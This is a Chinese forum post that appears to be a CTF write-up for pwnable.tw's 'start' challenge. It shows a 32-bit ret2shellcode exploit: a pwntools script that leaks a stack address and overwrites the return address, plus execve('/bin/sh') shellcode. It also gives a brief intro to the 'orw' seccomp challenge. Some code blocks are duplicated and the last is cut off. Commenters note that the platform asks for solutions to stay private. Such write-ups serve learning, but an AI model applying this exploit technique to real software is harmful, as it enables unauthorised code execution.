首页
社区
课程
招聘
[原创]pwnable.tw入门
发表于: 2022-4-28 00:29 8394

[原创]pwnable.tw入门

2022-4-28 00:29
8394

pwnable.tw官方不希望暴露题解,所以仅提供两道入门题的题解,供各位大师傅熟悉平台

差点不会写

一道ret2shellcode的好题,难度大于直接shellcraft,略低于招新赛的code

img

啥都没开那就可以考虑shellcode

img

发现是32位的两个系统调用,先write然后read,而且write的是esp指向的栈上的内容

最后retn 即pop eip jmp

首先明确,写只能往栈上写,如果想调用shellcode,那么我们需要劫持retn的地址为栈上存放shellcode的地址。那么就需要泄露栈地址,即把esp存放的位置想办法指向栈上的位置然后write esp

我们看看正常执行流碰到retn后栈上的分布,就会发现一件很巧的事情

img

ret之后,esp就滑向了0xdc->0xe0,如果我们ret 到write的系统调用,不就正好可以打印栈上地址了莫?

栈布局啥的就不说了,自己调调就能出

就说说shellcode

push的两个字符应该按照‘/bin/sh’的小端字序,即‘\x00hs/'和'nib/’转16进制

一道手写orw系统调用shellcode的裸题

img

img

有个沙箱,用seccomp-tools看看干了些啥

img

发现没有允许execve的系统调用,题目也给了一个文件的目录(hgame貌似用的是相对目录但是前提是当前目录有flag文件),考虑orw

 
 
 
 
 
 
 
 
 
 
### execve('/bin/sh',0,0)
shellcode='''
xor ecx,ecx;
xor edx,edx;
push 0x0068732f;
push 0x6e69622f;
mov ebx,esp;
mov eax,0xb;
int 0x80;
'''
### execve('/bin/sh',0,0)
shellcode='''
xor ecx,ecx;
xor edx,edx;
push 0x0068732f;
push 0x6e69622f;
mov ebx,esp;
mov eax,0xb;
int 0x80;
'''
from pwn import *
context.log_level='debug'
r=process('./start')
gdb.attach(r)
r.sendafter('CTF:','a'*0x14+p32(0x8048087))
stack=u32(r.recv(4))
log.success('stack:'+hex(stack))
### execve('/bin/sh',0,0)
shellcode='''
xor edx,edx;
xor ecx,ecx;
push 0x0068732f;
push 0x6e69622f;
mov ebx,esp;
mov eax,0xb;
int 0x80;
'''
payload='a'*0x14+p32(stack+0x14)+asm(shellcode)
r.send(payload)
r.interactive()
from pwn import *
context.log_level='debug'
r=process('./start')
gdb.attach(r)
r.sendafter('CTF:','a'*0x14+p32(0x8048087))
stack=u32(r.recv(4))
log.success('stack:'+hex(stack))
### execve('/bin/sh',0,0)
shellcode='''

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2022-4-28 15:21 被Nameless_a编辑 ,原因:
收藏
免费 4
支持
分享
最新回复 (2)
雪    币: 9792
活跃值: (1675)
能力值: ( LV12,RANK:261 )
在线值:
发帖
回帖
粉丝
2
好像pwnable.tw不太希望把解公开
2022-4-28 12:46
0
雪    币: 6970
活跃值: (11169)
能力值: ( LV12,RANK:400 )
在线值:
发帖
回帖
粉丝
3
CrazymanArmy 好像pwnable.tw不太希望把解公开
感谢空白师傅提醒,之前看网上很多题解以为没有问题,那既然违背了官方的意愿的话我还是把帖子匿了吧
2022-4-28 13:54
0
游客
登录 | 注册 方可回帖
返回
//